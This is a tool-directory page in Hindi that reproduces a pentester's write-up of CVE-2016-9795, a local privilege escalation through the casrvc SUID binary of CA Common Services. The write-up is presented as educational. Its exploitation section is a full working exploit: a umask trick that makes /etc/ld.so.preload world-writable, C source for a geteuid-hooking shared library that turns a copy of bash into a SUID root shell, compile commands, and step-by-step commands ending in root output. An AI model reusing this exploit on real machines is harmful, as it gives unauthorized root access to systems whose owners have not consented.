Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CA-Common-Services-privilege-escalation-cve-2016-9795-revisited — CVE-2016-9795 विशेषाधिकार वृद्धि की पुनर्समीक्षा (CA Common Services सुइट से casrvc बाइनरी) | Kitploit
उपकरण
/
GitHubGitHub
/blogresponder
/ca-common-services-privilege-escalation-cve-2016-9795-revisited
विशेषाधिकार वृद्धिभेद्यता विश्लेषणशोषणपेनिट्रेशन टेस्टिंगलर्निंग और शिक्षाबाइनरी शोषण
GitHubblogresponder/ca-common-services-privilege-escalation-cve-2016-9795-revisited

CA-Common-Services-privilege-escalation-cve-2016-9795-revisited

CVE-2016-9795 विशेषाधिकार वृद्धि की पुनर्समीक्षा (CA Common Services सुइट से casrvc बाइनरी)

रिपॉजिटरी देखें
5 साल पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CA Common Services विशेषाधिकार वृद्धि (CVE-2016-9795) पुनरावलोकन

विवरण

अपने एक पेंटेस्ट के दौरान, मुझे casrvc SUID बाइनरी (जो CA Common Services सूट का हिस्सा है) मिली। जैसा कि मुझे पता चला, यह बाइनरी स्थानीय विशेषाधिकार वृद्धि की चपेट में है। वास्तव में, NCC समूह ने इस कमजोरी के लिए एक सार्वजनिक CVE (CVE-2016-9795) पहले ही जारी कर दिया था।

कमजोरी वास्तव में तुच्छ है और जैसा कि मैंने बाद में पाया, NCC समूह ने अपनी PDF सलाहकारी (https://www.nccgroup.com/globalassets/our-research/uk/technical-advisories/2017/advisory-craigsblackie-cve-2016-9795.pdf) में एक प्रूफ-ऑफ-कॉन्सेप्ट का खुलासा किया था। फिर भी, अपने पेंटेस्ट कार्य के दौरान, मैंने एक भिन्न शोषण पथ चुना जो शुरुआत के लिए एक व्यवहार्य विकल्प है और संभवतः सही ढंग से किए जाने पर कम जोखिम भरा है।

कमजोरी

कमजोरी casrvc SUID बाइनरी में निहित है जो एक सुविधा प्रदान करती है जो उपयोगकर्ता को उस फ़ाइल नाम (और पूर्ण पथ) को चुनने की अनुमति देती है जिसमें लॉग लिखे जाएंगे। इस लॉग फ़ाइल का एक भाग उपयोगकर्ता द्वारा नियंत्रित होता है, इसलिए अंत में यह अविशेषाधिकार प्राप्त उपयोगकर्ता को कम या ज्यादा नियंत्रित मनमाना लेखन प्रदान करता है।

मनमाना आउटपुट फ़ाइल लेखन

/opt/CA/SharedComponents/csutils/bin/casrvc -q -f /tmp/t/log_test stop "**[उपयोगकर्ता नियंत्रित इनपुट]**"

लॉग आउटपुट

root@kitploit:~
[...]

2020-09-20 17:41:08 <22288:00002> [3]: Running in Very Verbose Mode.
2020-09-20 17:41:09 <22288:00003> [3]: INFO - Validating User ithc.oss
permission.
2016-08-08 17:41:09 <22288:00004> [0]: ERROR - User does not have permission to
start/stop **[उपयोगकर्ता नियंत्रित इनपुट]**

पहले से मौजूद PoC केवल लॉग आउटपुट को /etc/passwd फ़ाइल में जोड़ता है ताकि रूट समूह में एक और उपयोगकर्ता प्रविष्टि जोड़ी जा सके। /etc/passwd में चीज़ें जोड़ना कभी-कभी जोखिम भरा हो सकता है और मेरे मामले में मैं किसी भी कीमत पर सर्वर को क्रैश करने से बचना चाहता था।

शोषण

शोषण तकनीक नई नहीं है और कई अन्य शोधकर्ताओं (जिनमें @dawid_golunski, @itm4n शामिल हैं) द्वारा कवर की गई है। यह इस बाइनरी पर लागू होती है और मैं यहां शैक्षिक उद्देश्यों के लिए इसके बारे में बात कर रहा हूं।

अवधारणा

इसमें /etc/ld.so.preload फ़ाइल में जोड़ना या उसे बनाना शामिल है। जैसा कि लिनक्स मैनुअल man ld.so में वर्णित है, यह फ़ाइल लाइब्रेरी नामों की एक सूची (प्रति पंक्ति एक) को परिभाषित करने की अनुमति देती है जो हर बार कोई बाइनरी लॉन्च होने पर लोड की जाएगी।

root@kitploit:~
/etc/ld.so.preload
              File containing a whitespace-separated list of ELF shared objects to be  loaded  before
              the  program.   See  the  discussion  of  LD_PRELOAD  above.   If  both  LD_PRELOAD and
              /etc/ld.so.preload are employed, the libraries specified by  LD_PRELOAD  are  preloaded
              first.  /etc/ld.so.preload has a system-wide effect, causing the specified libraries to
              be preloaded for all programs that are executed on the system.  (This is usually  unde‐
              sirable,  and is typically employed only as an emergency remedy, for example, as a tem‐
              porary workaround to a library misconfiguration issue.)

इस फ़ाइल की विशिष्टता यह है कि प्रीलोड की गई लाइब्रेरी सिस्टम पर निष्पादित प्रत्येक प्रोग्राम के लिए लोड की जाती हैं, जिसमें SUID प्रोग्राम भी शामिल हैं। यह निश्चित रूप से "LD_PRELOAD" पर्यावरण चर के मामले में नहीं है जिसे कोई भी उपयोगकर्ता अपने सत्र के संदर्भ में लाइब्रेरी प्रीलोड करने के लिए सेट कर सकता है।

शोषण

मनमाना लेखन

बनाई गई फ़ाइल की सामग्री को पूरी तरह से नियंत्रित करने के लिए, हम फ़ाइल मोड निर्माण मास्क सेट करने के लिए umask कमांड का उपयोग करते हैं। इस तरह जब लॉग फ़ाइल बनाई जाएगी, तो उसमें सभी के लिए पढ़ने और लिखने की अनुमति होगी।

root@kitploit:~
umask 111
/opt/CA/SharedComponents/csutils/bin/casrvc -q -f /etc/ld.so.preload
echo '' > /etc/ld.so.preload
ls -lah /etc/ld.so.preload
-rw-rw-rw- 1 root dsm 1 Nov  4 15:44 /etc/ld.so.preload
नोट

हम फ़ाइल की सामग्री को जल्दी से मिटाने का प्रयास करते हैं क्योंकि casrvc निष्पादन योग्य चलाने के बाद सामग्री में कोई मान्य .so लाइब्रेरी नहीं होती है और यह हर बार कंप्यूटर पर कोई प्रोग्राम शुरू होने पर त्रुटि संदेश उत्पन्न करेगा।

umask पर नोट

हमारे मामले में, umask के साथ ट्रिक काम करती है। कभी-कभी, निष्पादन योग्य स्वयं umask मान सेट करते हैं, जिस स्थिति में हमारा umask मान ओवरराइट हो जाता है और अनदेखा कर दिया जाता है।

.so लाइब्रेरी फ़ाइल का निर्माण

इसके बाद हम एक .so फ़ाइल बनाते हैं। इस .so फ़ाइल के लिए स्रोत कोड निम्नलिखित है। यह तीन काम करता है:

  • geteuid सिस्टम फ़ंक्शन को ओवरराइट करता है
  • जो हमारे वांछित स्थान (इस मामले में "/tmp/root_shell") पर बाइनरी में SUID बिट जोड़ देगा
  • फिर यह ld.so.preload फ़ाइल को हटा देगा और मूल geteuid फ़ंक्शन के सामान्य निष्पादन के लिए आगे बढ़ेगा
root@kitploit:~
#define _GNU_SOURCE
#include <stdio.h>
#include <sys/stat.h>
#include <unistd.h>
#include <dlfcn.h>
#include <sys/types.h>
#include <fcntl.h>

uid_t geteuid(void) {
  static uid_t  (*old_geteuid)();
  old_geteuid = dlsym(RTLD_NEXT, "geteuid");
  if ( old_geteuid() == 0 ) {
    chown("/tmp/root_shell", 0, 0);
    chmod("/tmp/root_shell", 06777);
    unlink("/etc/ld.so.preload");
  }
  return old_geteuid();
}

इसे संकलित करने के लिए हम बस:

root@kitploit:~
gcc -Wall -fPIC -shared -o "/tmp/lib.so" "/tmp/lib.c" -ldl
नोट

पिछले आदेशों में हम मानते हैं कि /tmp विभाजन NOEXEC या NOSUID गुणों के साथ माउंट नहीं किया गया है।

सब कुछ एक साथ रखना

  1. हम /bin/bash बाइनरी को अपने वांछित स्थान पर कॉपी करते हैं
root@kitploit:~
cp /bin/bash /tmp/root_shell
  1. हम ऊपर वर्णित अनुसार casrvc बाइनरी चलाते हैं ताकि /etc/ld.so/preload पर लिखने के अधिकार प्राप्त कर सकें
root@kitploit:~
umask 111
/opt/CA/SharedComponents/csutils/bin/casrvc -q -f /etc/ld.so.preload
echo '' > /etc/ld.so.preload
  1. हम संकलित lib.so का पथ /etc/ld.so.preload फ़ाइल में कॉपी करते हैं (अब हमारे पास इस पर लिखने की अनुमति है)
root@kitploit:~
echo /tmp/lib.so > /etc/ld.so.preload
  1. हम कोई भी SUID प्रोग्राम चलाते हैं जो geteuid फ़ंक्शन को कॉल करेगा (रूट के स्वामित्व वाला कोई भी SUID ठीक होना चाहिए, उदाहरण के लिए "sudo")
root@kitploit:~
sudo
  1. रूट शेल का आनंद लें
root@kitploit:~
/tmp/root_shell
$ id
uid=0(root) gid=0(root) groups=0(root)

संदर्भ

  • Nginx (Debian Based Distros + Gentoo) - 'logrotate' Local Privilege Escalation
  • CVE-2019-19544 - CA Dollar Universe 5.3.3 'uxdqmsrv' - Privilege Escalation via a Vulnerable SUID Binary
टूल डाउनलोड करें